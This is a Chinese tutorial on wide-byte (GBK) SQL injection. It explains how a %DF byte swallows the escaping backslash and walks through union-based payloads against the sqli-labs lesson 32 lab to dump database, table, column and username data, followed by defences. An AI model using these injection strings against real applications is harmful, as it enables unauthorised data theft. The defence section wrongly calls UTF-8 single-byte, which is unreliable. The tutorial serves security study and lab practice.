宽字节注入详细分析
字数 1383 2025-08-11 21:26:18

宽字节注入深度解析与实战指南

一、宽字节注入基础概念

1.1 编码背景

  • MySQL默认使用GBK编码(部分环境)
  • GBK编码特性:
    • 汉字编码:两个字节代表一个汉字
    • 英文/数字编码:一个字节代表一个字符
    • 当第一个字节的ASCII码 > 128时,会与后续字节组合形成汉字

1.2 核心原理

宽字节注入利用MySQL的GBK编码特性,通过精心构造的输入使转义符\(%5C)与前一个字符组合形成合法汉字,从而"吃掉"转义符,破坏原有的SQL语句结构。

二、漏洞形成条件

  1. 数据库编码:MySQL使用GBK等多字节编码
  2. 转义处理:PHP对输入参数进行转义处理(常见函数):
    • mysql_real_escape_string()
    • mysql_escape_string()
    • addslashes()
    • magic_quotes_gpc()

三、漏洞原理详解

3.1 正常注入流程

  1. 原始输入:?id=1' and 1=1%23
  2. 转义后SQL:select * from user where id='1\' and 1=1#'
  3. 结果:注入失败,单引号未闭合

3.2 宽字节注入流程

  1. 构造输入:?id=1%DF' and 1=1%23
  2. 转义处理:
    • 单引号被转义为\'(%5C%27)
    • 完整URL编码:%DF%5C%27
  3. GBK解码:
    • %DF%5C组合成汉字"運"
    • 最终SQL:select * from user where id='1運' and 1=1#'
  4. 结果:单引号成功闭合,注入生效

四、实战测试步骤(以sqli-lib-32为例)

4.1 注入点探测

  1. 基础测试:?id=1' → 观察是否被转义
  2. 宽字节测试:?id=1%DF'%23 → 确认是否报错变化

4.2 完整注入流程

步骤1:确定字段数

?id=1%df' order by 3%23
  • 通过递增order by值确定字段数

步骤2:联合查询确定回显位

?id=-1%df' union select 1,2,3%23
  • 让前查询返回空(id=-1)
  • 观察数字回显位置

步骤3:爆数据库名

?id=-1%df' union select 1,group_concat(database()),3%23

步骤4:爆表名(需绕过引号过滤)

?id=-1%df' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=0x7365637572697479%23
  • 将"security"转为16进制:0x7365637572697479
  • 避免使用引号触发转义

步骤5:爆字段名

?id=-1%df' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x7573657273%23
  • "users"转为16进制:0x7573657273

步骤6:爆数据

?id=-1%df' union select 1,group_concat(username),3 from security.users%23
  • 注意:若使用mysql_fetch_array()需分批获取数据

五、关键绕过技术

5.1 十六进制编码绕过

  • 应用场景:当引号被转义时
  • 示例:
    • "security" → 0x7365637572697479
    • "users" → 0x7573657273

5.2 注释符使用

  • %23(#的URL编码):注释后续语句
  • 关键作用:消除原始SQL中的后续单引号

六、防御方案

  1. 统一字符集:使用UTF-8等单字节编码
  2. 参数化查询:使用PDO/prepared statements
  3. 双重防御
    • 设置character_set_client=binary
    • 结合转义函数使用
  4. 过滤特殊字符:严格校验输入格式

七、注意事项

  1. 并非所有GBK字符都能形成有效组合,需测试特定字符
  2. 实际环境中需考虑:
    • PHP版本差异
    • MySQL配置差异
    • 多层编码转换情况
  3. 现代PHP版本已弃用部分转义函数,但遗留系统仍需防范

通过深入理解宽字节注入原理和掌握这些实战技巧,安全人员可以更有效地测试和防御这类漏洞。

宽字节注入深度解析与实战指南 一、宽字节注入基础概念 1.1 编码背景 MySQL默认使用GBK编码(部分环境) GBK编码特性: 汉字编码:两个字节代表一个汉字 英文/数字编码:一个字节代表一个字符 当第一个字节的ASCII码 > 128时,会与后续字节组合形成汉字 1.2 核心原理 宽字节注入利用MySQL的GBK编码特性,通过精心构造的输入使转义符 \ (%5C)与前一个字符组合形成合法汉字,从而"吃掉"转义符,破坏原有的SQL语句结构。 二、漏洞形成条件 数据库编码 :MySQL使用GBK等多字节编码 转义处理 :PHP对输入参数进行转义处理(常见函数): mysql_real_escape_string() mysql_escape_string() addslashes() magic_quotes_gpc() 三、漏洞原理详解 3.1 正常注入流程 原始输入: ?id=1' and 1=1%23 转义后SQL: select * from user where id='1\' and 1=1#' 结果:注入失败,单引号未闭合 3.2 宽字节注入流程 构造输入: ?id=1%DF' and 1=1%23 转义处理: 单引号被转义为 \' (%5C%27) 完整URL编码: %DF%5C%27 GBK解码: %DF%5C组合成汉字"運" 最终SQL: select * from user where id='1運' and 1=1#' 结果:单引号成功闭合,注入生效 四、实战测试步骤(以sqli-lib-32为例) 4.1 注入点探测 基础测试: ?id=1' → 观察是否被转义 宽字节测试: ?id=1%DF'%23 → 确认是否报错变化 4.2 完整注入流程 步骤1:确定字段数 通过递增order by值确定字段数 步骤2:联合查询确定回显位 让前查询返回空(id=-1) 观察数字回显位置 步骤3:爆数据库名 步骤4:爆表名(需绕过引号过滤) 将"security"转为16进制:0x7365637572697479 避免使用引号触发转义 步骤5:爆字段名 "users"转为16进制:0x7573657273 步骤6:爆数据 注意:若使用 mysql_fetch_array() 需分批获取数据 五、关键绕过技术 5.1 十六进制编码绕过 应用场景:当引号被转义时 示例: "security" → 0x7365637572697479 "users" → 0x7573657273 5.2 注释符使用 %23 (#的URL编码):注释后续语句 关键作用:消除原始SQL中的后续单引号 六、防御方案 统一字符集 :使用UTF-8等单字节编码 参数化查询 :使用PDO/prepared statements 双重防御 : 设置 character_set_client=binary 结合转义函数使用 过滤特殊字符 :严格校验输入格式 七、注意事项 并非所有GBK字符都能形成有效组合,需测试特定字符 实际环境中需考虑: PHP版本差异 MySQL配置差异 多层编码转换情况 现代PHP版本已弃用部分转义函数,但遗留系统仍需防范 通过深入理解宽字节注入原理和掌握这些实战技巧,安全人员可以更有效地测试和防御这类漏洞。